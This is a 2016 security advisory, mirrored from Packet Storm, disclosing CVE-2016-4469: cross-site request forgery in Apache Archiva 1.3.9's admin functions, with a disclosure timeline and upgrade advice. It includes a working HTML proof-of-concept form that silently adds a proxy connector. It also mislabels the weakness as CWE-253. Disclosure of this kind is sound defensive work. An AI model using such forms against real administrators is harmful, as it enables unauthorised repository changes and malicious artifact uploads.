Apache Archiva 1.3.9 Cross Site Request Forgery

2016-07-1200:00:00
Julien Ahrens
packetstormsecurity.com
EPSS
0.008
Percentile
82.1%
JSON
`RCE Security Advisory  
https://www.rcesecurity.com  
  
  
1. ADVISORY INFORMATION  
=======================  
Product: Apache Archiva  
Vendor URL: https://archiva.apache.org  
Type: Cross-Site Request Forgery [CWE-253]  
Date found: 2016-05-31  
Date published: 2016-07-11  
CVSSv3 Score: 5.4 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N)  
CVE: CVE-2016-4469  
  
  
2. CREDITS  
==========  
This vulnerability was discovered and researched by Julien Ahrens from  
RCE Security.  
  
  
3. VERSIONS AFFECTED  
====================  
Apache Archiva v1.3.9  
older versions may be affected too.  
  
  
4. INTRODUCTION  
===============  
Apache Archiva™ is an extensible repository management software that helps  
taking care of your own personal or enterprise-wide build artifact  
repository. It is the perfect companion for build tools such as Maven,  
Continuum, and ANT.  
  
(from the vendor's homepage)  
  
  
5. VULNERABILITY DETAILS  
========================  
The application basically offers a Cross-Site Request Forgery protection  
using the a Struts-based token called "token". While many administrative  
functionalities like adding new users are protected on this way, the  
following HTTP POST-based functions are missing this token and are  
therefore vulnerable to CSRF:  
  
Adding new repository proxy connectors:  
/archiva/admin/addProxyConnector_commit.action  
  
Adding new repositories:  
/archiva/admin/addRepository_commit.action  
  
Editing existing repositories:  
/archiva/admin/editRepository_commit.action  
  
Adding legacy artifact paths:  
/archiva/admin/addLegacyArtifactPath_commit.action  
  
Changing the organizational appearance:  
/archiva/admin/saveAppearance.action  
  
Uploading new artifacts:  
/archiva/upload_submit.action  
  
  
The following Proof-of-Concept triggers this vulnerability and adds a new  
proxy connector called "CSRF":  
  
  
<html>  
<body>  
<form  
action="http://localhost:8080/archiva/admin/addProxyConnector_commit.action"  
method="POST">  
<input type="hidden" name="pattern" value="" />  
<input type="hidden" name="connector.order" value="0" />  
<input type="hidden" name="connector.proxyId"  
value="(direct connection)" />  
<input type="hidden" name="connector.sourceRepoId" value="CSRF" />  
<input type="hidden" name="connector.targetRepoId"  
value="maven2-repository.dev.java.net" />  
<input type="hidden"  
name="connector.policies['propagate-errors-on-update']"  
value="always" />  
<input type="hidden"  
name="connector.policies['cache-failures']"  
value="no" />  
<input type="hidden"  
name="connector.policies['releases']"  
value="always" />  
<input type="hidden"  
name="connector.policies['propagate-errors']"  
value="stop" />  
<input type="hidden"  
name="connector.policies['checksum']" value="fail" />  
<input type="hidden"  
name="connector.policies['snapshots']"  
value="always" />  
<input type="hidden" name="propertyKey" value="" />  
<input type="hidden" name="propertyValue" value="" />  
<input type="hidden" name="blackListPattern" value="" />  
<input type="hidden" name="whiteListPattern" value="" />  
<input type="submit" value="Submit request" />  
</form>  
</body>  
</html>  
  
  
6. RISK  
=======  
To successfully exploit this vulnerability a user with administrative rights  
must be tricked into visiting an arbitrary website while having an  
authenticated session in the application.  
  
The vulnerability allows remote attackers to perform sensitive  
administrative actions like adding new repository proxy connectors, adding  
new repositories, editing existing repositories, adding legacy artifact  
paths, changing the organizational appearance or uploading new artifacts in  
the authentication context of the targeted user.  
  
  
7. SOLUTION  
===========  
Upgrade/Migrate to Apache Archiva 2.2.1  
  
  
8. REPORT TIMELINE  
==================  
2016-05-31: Discovery of the vulnerability  
2016-05-31: Notified vendor via public security mail address  
2016-06-06: No response, sent out another notification  
2016-06-10: Vendor states that this version is out of support  
2016-06-21: Vendor assigns CVE-2016-4469  
2016-07-11: Advisory released  
  
  
9. REFERENCES  
=============  
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-4469  
  
`
EPSS
0.008
Percentile
82.1%
JSON
Related for PACKETSTORM:137869